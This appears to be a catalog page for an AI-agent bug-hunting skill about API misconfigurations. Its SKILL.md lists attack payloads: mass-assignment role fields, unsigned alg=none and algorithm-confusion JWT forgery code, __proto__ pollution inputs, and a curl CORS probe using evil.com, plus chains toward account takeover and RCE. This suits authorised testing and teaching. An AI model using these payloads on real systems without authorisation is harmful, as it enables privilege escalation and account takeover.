Hunt api misconfig
Skill adriannoes/awesome-agentic-ai/cursor-claude-codex/skills/bug-hunter/skills/hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, JWT attacks, prototype pollution, CORS, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT: alg=none, weak HMAC bruteforce, kid path traversal, JWK injection, token confusion. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). CORS: wildcard with credentials, null origin, regex with subdomain takeover, postMessage origin checks. HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io), CORS preflight responses. Use when hunting API misconfigs, JWT flaws, mass-assignment, prototype pollution, CORS bypasses.From its SKILL.md
npx -y skills add adriannoes/awesome-agentic-ai --skill hunt-api-misconfigAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
SKILL.md
3.4 KB, 637 tokens by cl100k_base, as published. Nobody here has run it
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
CORS Exploitation
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
Related Skills & Chains
hunt-ato— Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment +hunt-ato→role=adminset on signup → ATO via privileged role on first login.hunt-auth-bypass— JWT flaws collapse the entire auth layer. Chain primitive: JWTalg=none+hunt-auth-bypass→ impersonate any user by settingsubto victim ID, no signature required.hunt-rce— Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reachchild_process.spawn. Chain primitive: Prototype pollution (__proto__.shell=true) +hunt-rce(Node.js gadget chain) → RCE on the API node.hunt-subdomain— CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist*.target.com+ subdomain takeover → attacker-controlled origin reads credentialed API responses.security-arsenal— Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (is_admin,role,verified,permissions,org_id,tenant_id).triage-validation— Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.